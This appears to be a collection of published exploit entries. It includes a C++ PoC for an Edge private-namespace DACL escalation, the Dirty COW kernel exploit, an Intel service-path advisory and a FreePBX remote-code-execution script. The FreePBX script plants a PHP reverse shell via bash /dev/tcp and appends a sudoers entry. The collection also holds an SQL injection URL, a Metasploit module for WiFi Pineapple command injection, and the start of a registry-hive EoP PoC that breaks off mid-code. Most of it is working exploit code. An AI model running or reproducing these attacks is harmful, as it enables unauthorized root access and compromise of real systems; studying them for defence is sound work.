Doing this would result in any new object in the isolated namespace being created by Edge or IE being accessible to the attacker, also giving write access to resources such as IsoSpaceV2_ScopedTrusted which are not supposed to be writable for example from a sandboxed IE tab. I’ve not spent much time actually working out what is or isn’t exploitable but at the least you’d get some level of information disclosure and no doubt EoP.

Note that the boundary name isn’t an impediment to gaining access to the namespace as it’s something like IEUser_USERSID_MicrosoftEdge or IsoScope_PIDOFBROKER, both of which can be trivially determine or in worse case brute forced. You can’t create these namespaces from a lowbox token as the boundary descriptor doesn’t have the package SID, but in this case we don’t need to care. I’m submitted a bug for the other type of issue.

Proof of Concept:

I’ve provided a PoC as a C++ source code file. You need to compile it first targeted with Visual Studio 2015. It will look for a copy of MicrosoftEdge.exe and get its PID (this could be done as brute force), it will then impersonate a lowbox token which shouldn’t have access to any of Edge’s isolated namespace and tries to change the DACL of the root namespace object. 

NOTE: For some reason this has a habit of causing MicrosoftEdge.exe to die with a security exception especially on x64. Perhaps it’s checking the DACL somewhere, but I very much doubt it. I’ve not worked out if this is some weird memory corruption occurring (although there’s a chance it wouldn’t be exploitable). 

1) Compile the C++ source code file.
2) Start a copy of Edge. You might want to navigate a tab somewhere. 
3) Execute the PoC executable as a normal user
4) It should successfully open the namespace and change the DACL.

Expected Result:
Access to the private namespace is not allowed.

Observed Result:
Access to the private namespace is granted and the DACL of the directory has been changed to a set of inherited permissions which will be used.
*/

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <winternl.h>
#include <sddl.h>
#include <memory>
#include <string>
#include <TlHelp32.h>
#include <strstream>
#include <sstream>

typedef NTSTATUS(WINAPI* NtCreateLowBoxToken)(
  OUT PHANDLE token,
  IN HANDLE original_handle,
  IN ACCESS_MASK access,
  IN POBJECT_ATTRIBUTES object_attribute,
  IN PSID appcontainer_sid,
  IN DWORD capabilityCount,
  IN PSID_AND_ATTRIBUTES capabilities,
  IN DWORD handle_count,
  IN PHANDLE handles);

struct HandleDeleter
{
  typedef HANDLE pointer;
  void operator()(HANDLE handle)
  {
    if (handle && handle != INVALID_HANDLE_VALUE)
    {
      DWORD last_error = ::GetLastError();
      CloseHandle(handle);
      ::SetLastError(last_error);
    }
  }
};

typedef std::unique_ptr<HANDLE, HandleDeleter> scoped_handle;

struct LocalFreeDeleter
{
  typedef void* pointer;
  void operator()(void* p)
  {
    if (p)
      ::LocalFree(p);
  }
};

typedef std::unique_ptr<void, LocalFreeDeleter> local_free_ptr;

struct PrivateNamespaceDeleter
{
  typedef HANDLE pointer;
  void operator()(HANDLE handle)
  {
    if (handle && handle != INVALID_HANDLE_VALUE)
    {
      ::ClosePrivateNamespace(handle, 0);
    }
  }
};

struct scoped_impersonation
{
  BOOL _impersonating;
public:
  scoped_impersonation(const scoped_handle& token) {
    _impersonating = ImpersonateLoggedOnUser(token.get());
  }

  scoped_impersonation() {
    if (_impersonating)
      RevertToSelf();
  }

  BOOL impersonation() {
    return _impersonating;
  }
};

typedef std::unique_ptr<HANDLE, PrivateNamespaceDeleter> private_namespace;

std::wstring GetCurrentUserSid()
{
  HANDLE token = nullptr;
  if (!OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &token))
    return false;
  std::unique_ptr<HANDLE, HandleDeleter> token_scoped(token);

  DWORD size = sizeof(TOKEN_USER) + SECURITY_MAX_SID_SIZE;
  std::unique_ptr<BYTE[]> user_bytes(new BYTE[size]);
  TOKEN_USER* user = reinterpret_cast<TOKEN_USER*>(user_bytes.get());

  if (!::GetTokenInformation(token, TokenUser, user, size, &size))
    return false;

  if (!user->User.Sid)
    return false;

  LPWSTR sid_name;
  if (!ConvertSidToStringSid(user->User.Sid, &sid_name))
    return false;

  std::wstring ret = sid_name;
  ::LocalFree(sid_name);
  return ret;
}

std::wstring GetCurrentLogonSid()
{
  HANDLE token = NULL;
  if (!::OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &token))
    return false;
  std::unique_ptr<HANDLE, HandleDeleter> token_scoped(token);

  DWORD size = sizeof(TOKEN_GROUPS) + SECURITY_MAX_SID_SIZE;
  std::unique_ptr<BYTE[]> user_bytes(new BYTE[size]);
  TOKEN_GROUPS* groups = reinterpret_cast<TOKEN_GROUPS*>(user_bytes.get());

  memset(user_bytes.get(), 0, size);

  if (!::GetTokenInformation(token, TokenLogonSid, groups, size, &size))
    return false;

  if (groups->GroupCount != 1)
    return false;

  LPWSTR sid_name;
  if (!ConvertSidToStringSid(groups->Groups[0].Sid, &sid_name))
    return false;

  std::wstring ret = sid_name;
  ::LocalFree(sid_name);
  return ret;
}

class BoundaryDescriptor
{
public:
  BoundaryDescriptor()
    : boundary_desc_(nullptr) {
  }

  ~BoundaryDescriptor() {
    if (boundary_desc_) {
      DeleteBoundaryDescriptor(boundary_desc_);
    }
  }

  bool Initialize(const wchar_t* name) {
    boundary_desc_ = ::CreateBoundaryDescriptorW(name, 0);
    if (!boundary_desc_)
      return false;

    return true;
  }

  bool AddSid(LPCWSTR sid_str)
  {
    if (_wcsicmp(sid_str, L"CU") == 0)
    {
      return AddSid(GetCurrentUserSid().c_str());
    }
    else
    {
      PSID p = nullptr;

      if (!::ConvertStringSidToSid(sid_str, &p))
      {
        return false;
      }

      std::unique_ptr<void, LocalFreeDeleter> buf(p);

      SID_IDENTIFIER_AUTHORITY il_id_auth = { { 0,0,0,0,0,0x10 } };
      PSID_IDENTIFIER_AUTHORITY sid_id_auth = GetSidIdentifierAuthority(p);

      if (memcmp(il_id_auth.Value, sid_id_auth->Value, sizeof(il_id_auth.Value)) == 0)
      {
        return !!AddIntegrityLabelToBoundaryDescriptor(&boundary_desc_, p);
      }
      else
      {
        return !!AddSIDToBoundaryDescriptor(&boundary_desc_, p);
      }
    }
  }

  HANDLE boundry_desc() {
    return boundary_desc_;
  }

private:
  HANDLE boundary_desc_;
};

scoped_handle CreateLowboxToken()
{
  PSID package_sid_p;
  if (!ConvertStringSidToSid(L"S-1-15-2-1-1-1-1-1-1-1-1-1-1-1", &package_sid_p))
  {
    printf("[ERROR] creating SID: %d\n", GetLastError());
    return nullptr;
  }
  local_free_ptr package_sid(package_sid_p);

  HANDLE process_token_h;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &process_token_h))
  {
    printf("[ERROR] error opening process token SID: %d\n", GetLastError());
    return nullptr;
  }

  scoped_handle process_token(process_token_h);  

  NtCreateLowBoxToken fNtCreateLowBoxToken = (NtCreateLowBoxToken)GetProcAddress(GetModuleHandle(L"ntdll"), "NtCreateLowBoxToken");
  HANDLE lowbox_token_h;
  OBJECT_ATTRIBUTES obja = {};
  obja.Length = sizeof(obja);

  NTSTATUS status = fNtCreateLowBoxToken(&lowbox_token_h, process_token_h, TOKEN_ALL_ACCESS, &obja, package_sid_p, 0, nullptr, 0, nullptr);
  if (status != 0)
  {
    printf("[ERROR] creating lowbox token: %08X\n", status);
    return nullptr;
  }

  scoped_handle lowbox_token(lowbox_token_h);
  HANDLE imp_token;

  if (!DuplicateTokenEx(lowbox_token_h, TOKEN_ALL_ACCESS, nullptr, SecurityImpersonation, TokenImpersonation, &imp_token))
  {
    printf("[ERROR] duplicating lowbox: %d\n", GetLastError());
    return nullptr;
  }

  return scoped_handle(imp_token);
}

DWORD FindMicrosoftEdgeExe()
{
  scoped_handle th_snapshot(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0));
  if (!th_snapshot)
  {
    printf("[ERROR] getting snapshot: %d\n", GetLastError());
    return 0;
  }
  PROCESSENTRY32 proc_entry = {};
  proc_entry.dwSize = sizeof(proc_entry);

  if (!Process32First(th_snapshot.get(), &proc_entry))
  {
    printf("[ERROR] enumerating snapshot: %d\n", GetLastError());
    return 0;
  }

  do
  {
    if (_wcsicmp(proc_entry.szExeFile, L"microsoftedge.exe") == 0)
    {
      return proc_entry.th32ProcessID;
    }
    proc_entry.dwSize = sizeof(proc_entry);
  } while (Process32Next(th_snapshot.get(), &proc_entry));

  return 0;
}

void ChangeDaclOnNamespace(LPCWSTR name, const scoped_handle& token)
{
  BoundaryDescriptor boundry;
  if (!boundry.Initialize(name))
  {
    printf("[ERROR] initializing boundary descriptor: %d\n", GetLastError());
    return;
  }

  PSECURITY_DESCRIPTOR psd;
  ULONG sd_size = 0;
  std::wstring sddl = L"D:(A;OICI;GA;;;WD)(A;OICI;GA;;;AC)(A;OICI;GA;;;WD)(A;OICI;GA;;;S-1-0-0)";
  sddl += L"(A;OICI;GA;;;" + GetCurrentUserSid() + L")";
  sddl += L"(A;OICI;GA;;;" + GetCurrentLogonSid() + L")";
  sddl += L"S:(ML;OICI;NW;;;S-1-16-0)";

  if (!ConvertStringSecurityDescriptorToSecurityDescriptor(sddl.c_str(), SDDL_REVISION_1, &psd, &sd_size))
  {
    printf("[ERROR] converting SDDL: %d\n", GetLastError());
    return;
  }
  std::unique_ptr<void, LocalFreeDeleter> sd_buf(psd);

  scoped_impersonation imp(token);
  if (!imp.impersonation())
  {
    printf("[ERROR] impersonating lowbox: %d\n", GetLastError());
    return;
  }

  private_namespace ns(OpenPrivateNamespace(boundry.boundry_desc(), name));
  if (!ns)
  {
    printf("[ERROR] opening private namespace - %ls: %d\n", name, GetLastError());
    return;
  }

  if (!SetKernelObjectSecurity(ns.get(), DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION, psd))
  {
    printf("[ERROR] setting DACL on %ls: %d\n", name, GetLastError());
    return;
  }

  printf("[SUCCESS] Opened Namespace and Reset DACL %ls\n", name);  
}

int main()
{
  scoped_handle lowbox_token = CreateLowboxToken();
  if (!lowbox_token)
  {
    return 1;
  }

  std::wstring user_sid = GetCurrentUserSid();  
  DWORD pid = FindMicrosoftEdgeExe();
  if (pid == 0)
  {
    printf("[ERROR] Couldn't find MicrosoftEdge.exe running\n");
    return 1;
  }

  printf("[SUCCESS] Found Edge Browser at PID: %X\n", pid);

  std::wstringstream ss;

  ss << L"IsoScope_" << std::hex << pid;

  ChangeDaclOnNamespace(ss.str().c_str(), lowbox_token);

  return 0;
}
            
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}
            
# Exploit Title: Intel(R) PROSet/Wireless WiFi Software - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 15.01.1000.0927
# Tested on: Windows 7 Professional

The Intel(R) PROSet/Wireless WiFi Software installs 2 services with unquoted service paths.  
This enables a local privilege escalation vulnerability.
To exploit this vulnerability, a local attacker can insert an executable file in the path of either service.  
Rebooting the system or restarting either service will run the malicious executable with elevated privileges.

This was tested on version 15.01.1000.0927, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc EvtEng

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: EvtEng

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:\Program Files\Intel\WiFi\bin\EvtEng.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Intel(R) PROSet/Wireless Event Log

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem


C:\>sc qc RegSrvc

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: RegSrvc

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:\Program Files\Common Files\Intel\WirelessCommon\RegSrvc.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Intel(R) PROSet/Wireless Registry Service

        DEPENDENCIES       : RPCSS

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
#!/usr/bin/env python
'''
    Title          |  FreePBX 13 Remote Command Execution and Privilege Escalation
    Date           |  10/21/2016
    Author         |  Christopher Davis 
    Vendor         |  https://www.freepbx.org/
    Version        |  FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26)
    Tested on      |  http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso 
				      http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso
    Purpose        |  This script exploits the freepbx website, elevates privileges and returns a reverse bind tcp as root
    Usage          |  python pbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444 -s r
	Orig Author    |  pgt - nullsecurity.net 
'''
import re
import subprocess
import argparse
import random
import time
import socket
import threading

#This portion will check for requests and prompt user to install it if not already
try:
    import requests
except:
    try:
        while True:
            choice = raw_input('Requests library not found but is needed. Install? \'Y\'es or \'N\'o?\n:')
            if choice.lower() == 'y':
                subprocess.call('pip install requests',shell=True)
                import requests
                break
            elif choice.lower() == 'n':
                exit()
            else:
                continue
    except Exception as e:
        print(e)
        exit()

#Since subprocess.call will bind, we start this thread sepparate to execute after our netcat bind
def delayGet():
	global args
	try:
		time.sleep(5)
		requests.get(args.url+ '0x4148.php.call', verify=False)
	except:
		pass

if __name__ == '__main__':
	try:
		parser = argparse.ArgumentParser()
		parser.add_argument('-u', type=str, help='hostname and path. Ex- http://192.168.1.1/path/', dest='url')
		parser.add_argument('-l', type=str, help='localhost ip to listen on', dest='lhost')
		parser.add_argument('-p', type=str, help='port to listen on', dest='lport')
		parser.add_argument('-s', type=str, help="'L'ocal or 'R'oot shell attempt", dest='shell')
		parser.add_help
		args = parser.parse_args()

		#Make sure args were passed
		if args.url == None or args.lhost == None or args.lport == None or not bool(re.search(r'^(?:[L|l]|[r|R])$', args.shell)):
			parser.print_help()
			print("\nUsage:  python freepbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444")
			exit()

		#Make sure the http url is there
		if bool(re.search('[hH][tT][tT][pP][sS]?\:\/\/', args.url)) == False:
			print('There is something wrong with your url. It needs to have http:// or https://\n\n')
			exit()

		#make sure / is there, if not, put it there
		if args.url[-1:] != '/':
			args.url += '/'
		#python -c 'import pty; pty.spawn("/bin/sh")'
		#this is the php we will upload to get a reverse shell. System call to perform reverse bash shell. Nohup spawns a new process in case php dies

		#if version 13, lets try to get root, otherwise
		if args.shell.upper() == 'R':
			cmdshell = '<?php fwrite(fopen("hackerWAShere.py","w+"),base64_decode("IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHRpbWUNCiMgLSotIGNvZGluZzogdXRmLTggLSotIA0KY21kID0gJ3NlZCAtaSBcJ3MvQ29tIEluYy4vQ29tIEluYy5cXG5lY2hvICJhc3RlcmlzayBBTEw9XChBTExcKVwgICcgXA0KCSdOT1BBU1NXRFw6QUxMIlw+XD5cL2V0Y1wvc3Vkb2Vycy9nXCcgL3Zhci9saWIvJyBcDQoJJ2FzdGVyaXNrL2Jpbi9mcmVlcGJ4X2VuZ2luZScNCnN1YnByb2Nlc3MuY2FsbChjbWQsIHNoZWxsPVRydWUpDQpzdWJwcm9jZXNzLmNhbGwoJ2VjaG8gYSA+IC92YXIvc3Bvb2wvYXN0ZXJpc2svc3lzYWRtaW4vYW1wb3J0YWxfcmVzdGFydCcsIHNoZWxsPVRydWUpDQp0aW1lLnNsZWVwKDIwKQ==")); system("python hackerWAShere.py; nohup sudo bash -i >& /dev/tcp/'+args.lhost+'/'+args.lport+' 0>&1 ");?>'
		else:
			cmdshell = "<?php system('nohup bash -i >& /dev/tcp/"+args.lhost+"/"+args.lport+" 0>&1 ');?>"
		
		#creates a session
		session = requests.Session()
		print('\nStarting Session')
		session.get(args.url, verify=False)
		print('\nScraping the site for a cookie')
		HEADERS = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0", "Accept": 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', "Accept-Language":"en-US,en;q=0.5","Referer": args.url + 'admin/ajax.php', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1'}
		print('\nPosting evil php')
		postData = {'module':'hotelwakeup','command':'savecall','day':'now','time':'+1 week','destination':"/../../../../../../var/www/html/0x4148.php","language":cmdshell}
		result = session.post(args.url + 'admin/ajax.php', headers=HEADERS, data=postData, verify=False)
		if 'Whoops' not in result.text:
			print(result.text)
			print('\nSomething Went wrong. Was expecting a Whoops but none found.')
			exit()
		#calls the get thread which will execute 5 seconds after the netcat bind

		print('\nStarting new thread for getting evil php')
		z = threading.Thread(target=delayGet)
		z.daemon = True
		z.start()

		print('\nBinding to socket '+ args.lport + ' Please wait... May take 30 secs to get call back.\n')
		#This binds our terminal with netcat and waits for the call back
		try:
			subprocess.call('nc -nvlp '+args.lport, shell=True)
		except Exception as e:
			print(e)
		print('\nIf you saw the message "sudo: no tty present and no askpass program specified", please try again and it may work.')
	except Exception as e:
		print(e)
		print('\nSee above error')
            
# Exploit Title: SQL Injection in Just Dial Clone Script
# Date: 20 October 2016
# Exploit Author: Arbin Godar
# Website : ArbinGodar.com
# Vendor: http://www.i-netsolution.com/

*----------------------------------------------------------------------------------------------------------------------*

# Proof of Concept SQL Injection/Exploit :
http://localhost/[PATH]/category-view-list.php?srch=PoC%27

*----------------------------------------------------------------------------------------------------------------------*
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Hak5 WiFi Pineapple Preconfiguration Command Injection',
      'Description'    => %q{
      This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.
      We use a combination of default credentials with a weakness in the anti-csrf generation to achieve
      command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail,
      you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a
      known password if successful and may interrupt the user experience. These devices may typically be identified
      by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting
      worm.
      },
      'Author'         => ['catatonicprime'],
      'License'        => MSF_LICENSE,
      'References'     => [[ 'CVE', '2015-4624' ]],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        => {
        'Space'        => 2048,
        'DisableNops'  => true,
        'Compat'       => {
          'PayloadType'  => 'cmd',
          'RequiredCmd'  => 'generic python netcat telnet'
        }
      },
      'Targets'        => [[ 'WiFi Pineapple 2.0.0 - 2.3.0', {}]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 1 2015'
    ))

    register_options(
      [
        OptString.new('USERNAME', [ true, 'The username to use for login', 'root' ]),
        OptString.new('PASSWORD', [ true, 'The password to use for login', 'pineapplesareyummy' ]),
        OptString.new('PHPSESSID', [ true, 'PHPSESSID to use for attack', 'tospovirus' ]),
        OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]),
        Opt::RPORT(1471),
        Opt::RHOST('172.16.42.1')
      ]
    )
    register_advanced_options(
      [
        OptBool.new('BruteForce', [ false, 'When true, attempts to solve LED puzzle after login failure', false ]),
        OptInt.new('BruteForceTries', [ false, 'Number of tries to solve LED puzzle, 0 -> infinite', 0 ])
      ]
    )

    deregister_options(
      'ContextInformationFile',
      'DOMAIN',
      'DigestAuthIIS',
      'EnableContextEncoding',
      'FingerprintCheck',
      'HttpClientTimeout',
      'NTLM::SendLM',
      'NTLM::SendNTLM',
      'NTLM::SendSPN',
      'NTLM::UseLMKey',
      'NTLM::UseNTLM2_session',
      'NTLM::UseNTLMv2',
      'SSL',
      'SSLVersion',
      'VERBOSE',
      'WORKSPACE',
      'WfsDelay',
      'Proxies',
      'VHOST'
    )
  end

  def login_uri
    normalize_uri('includes', 'api', 'login.php')
  end

  def brute_uri
    normalize_uri("/?action=verify_pineapple")
  end

  def set_password_uri
    normalize_uri("/?action=set_password")
  end

  def phpsessid
    datastore['PHPSESSID']
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def cookie
    "PHPSESSID=#{phpsessid}"
  end

  def csrf_token
    Digest::SHA1.hexdigest datastore['PHPSESSID']
  end

  def use_brute
    datastore['BruteForce']
  end

  def use_brute_tries
    datastore['BruteForceTries']
  end

  def login
    # Create a request to login with the specified credentials.
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => login_uri,
      'vars_post' => {
        'username'   => username,
        'password'   => password,
        'login'      => "" # Merely indicates to the pineapple that we'd like to login.
      },
      'headers'   => {
        'Cookie'     => cookie
      }
    )

    return nil unless res

    # Successful logins in preconfig pineapples include a 302 to redirect you to the "please config this device" pages
    return res if res.code == 302 && (res.body !~ /invalid username/)

    # Already logged in message in preconfig pineapples are 200 and "Invalid CSRF" - which also indicates a success
    return res if res.code == 200 && (res.body =~ /Invalid CSRF/)

    nil
  end

  def cmd_inject(cmd)
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => target_uri.path,
      'cookie'    => cookie,
      'vars_get'  => {
        'execute' => "" # Presence triggers command execution
      },
      'vars_post' => {
        '_csrfToken' => csrf_token,
        'commands'   => cmd
      }
    )

    res
  end

  def brute_force
    print_status('Beginning brute forcing...')
    # Attempt to get a new session cookie with an LED puzzle tied to it.
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => brute_uri
    )

    # Confirm the response indicates there is a puzzle to be solved.
    if !res || !(res.code == 200) || res.body !~ /own this pineapple/
      print_status('Brute forcing not available...')
      return nil
    end

    cookies = res.get_cookies
    counter = 0
    while use_brute_tries.zero? || counter < use_brute_tries
      print_status("Try #{counter}...") if (counter % 5).zero?
      counter += 1
      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => brute_uri,
        'cookie'    => cookies,
        'vars_post' => {
          'green'            => 'on',
          'amber'            => 'on',
          'blue'             => 'on',
          'red'              => 'on',
          'verify_pineapple' => 'Continue'
        }
      )

      if res && res.code == 200 && res.body =~ /set_password/
        print_status('Successfully solved puzzle!')
        return write_password(cookies)
      end
    end
    print_warning("Failed to brute force puzzle in #{counter} tries...")
    nil
  end

  def write_password(cookies)
    print_status("Attempting to set password to: #{password}")
    res = send_request_cgi(
      'method'     => 'POST',
      'uri'        => set_password_uri,
      'cookie'     => cookies,
      'vars_post'  => {
        'password'     => password,
        'password2'    => password,
        'eula'         => 1,
        'sw_license'   => 1,
        'set_password' => 'Set Password'
      }
    )
    if res && res.code == 200 && res.body =~ /success/
      print_status('Successfully set password!')
      return res
    end
    print_warning('Failed to set password')

    nil
  end

  def check
    loggedin = login
    unless loggedin
      brutecheck = send_request_cgi(
        'method' => 'GET',
        'uri'    => brute_uri
      )
      return Exploit::CheckCode::Safe if !brutecheck || !brutecheck.code == 200 || brutecheck.body !~ /own this pineapple/
      return Exploit::CheckCode::Vulnerable
    end

    cmd_success = cmd_inject("echo")
    return Exploit::CheckCode::Vulnerable if cmd_success && cmdSuccess.code == 200 && cmd_success.body =~ /Executing/

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status('Logging in with credentials...')
    loggedin = login
    if !loggedin && use_brute
      brute_force
      loggedin = login
    end
    unless loggedin
      fail_with(Failure::NoAccess, "Failed to login PHPSESSID #{phpsessid} with #{username}:#{password}")
    end

    print_status('Executing payload...')
    cmd_inject("#{payload.encoded}")
  end
end
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=871

Windows: NtLoadKeyEx Read Only Hive Arbitrary File Write EoP
Platform: Windows 10 10586 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
NtLoadKeyEx takes a flag to open a registry hive read only, if one of the hive files cannot be opened for read access it will revert to write mode and also impersonate the calling process. This can leading to EoP if a user controlled hive is opened in a system service.

Description:

One of the flags to NtLoadKeyEx is to open a registry hive with read only access. When this flag is passed the main hive file is opened for Read only, and no log files are opened or created. However there’s a bug in the kernel function CmpCmdHiveOpen, initially it calls CmpInitHiveFromFile passing flag 1 in the second parameter which means open read-only. However if this fails with a number of error codes, including STATUS_ACCESS_DENIED it will recall the initialization function while impersonating the calling process, but it forgets to pass the read only flag. This means if the initial access fails, it will instead open the hive in write mode which will create the log files etc.

An example where this is used is in the WinRT COM activation routines of RPCSS. The GetPrivateHiveKeyFromPackageFullName method explicitly calls NtLoadKeyEx with the read only flag (rather than calling RegLoadAppKey which will not). As this is opening a user ActivationStore.dat hive inside the AppData\Local\Packages directory in the user’s profile it’s possible to play tricks with symbolic links to cause the opening of the hive inside the DCOM service to fail as the normal user then write the log files out as SYSTEM (as it calls RtlImpersonateSelfEx). 

This is made all the worse because of the behaviour of the file creation routines. When the log files are being created the kernel copies the DACL from the main hive file to the new log files. This means that although we don’t really control the log file contents we can redirect the write to an arbitrary location (and using symlink tricks ensure the name is suitable) then reopen the file as it has an explicit DACL copied from the main hive we control and we can change the file’s contents to whatever you like. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile it first targetted .NET 4 and above. I’ve verified you can exploit RPCSS manually, however without substantial RE it wouldn’t be a very reliable PoC, so instead I’ve just provided an example file you can fun as a normal user. This will impersonate the anonymous token while opening the hive (which in reality would be DACL’ed to block the user from opening for read access) and we verify that the log files are created. 

1) Compile the C# source code file.
2) Execute the PoC executable as a normal user.
3) The PoC should print that it successfully opened the hive in write mode.

Expected Result:
The hive fails to open, or at least only opens in read-only mode.

Observed Result:
The hive is opened in write mode incorrectly which can be abused to elevate privileges. 
*/

using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;

namespace PoC_NtLoadKeyEx_ReadOnlyFlag_EoP
{
  class Program
  {
    [Flags]
    public enum AttributeFlags : uint
    {
      None = 0,
      Inherit = 0x00000002,
      Permanent = 0x00000010,
      Exclusive = 0x00000020,
      CaseInsensitive = 0x00000040,
      OpenIf = 0x00000080,
      OpenLink = 0x00000100,
      KernelHandle = 0x00000200,
      ForceAccessCheck = 0x00000400,
      IgnoreImpersonatedDevicemap = 0x00000800,
      DontReparse = 0x00001000,
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class UnicodeString
    {
      ushort Length;
      ushort MaximumLength;
      [MarshalAs(UnmanagedType.LPWStr)]
      string Buffer;

      public UnicodeString(string str)
      {
        Length = (ushort)(str.Length * 2);
        MaximumLength = (ushort)((str.Length * 2) + 1);
        Buffer = str;
      }
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class ObjectAttributes : IDisposable
    {
      int Length;
      IntPtr RootDirectory;
      IntPtr ObjectName;
      AttributeFlags Attributes;
      IntPtr SecurityDescriptor;
      IntPtr SecurityQualityOfService;

      private static IntPtr AllocStruct(object s)
      {
        int size = Marshal.SizeOf(s);
        IntPtr ret = Marshal.AllocHGlobal(size);
        Marshal.StructureToPtr(s, ret, false);
        return ret;
      }

      private static void FreeStruct(ref IntPtr p, Type struct_type)
      {
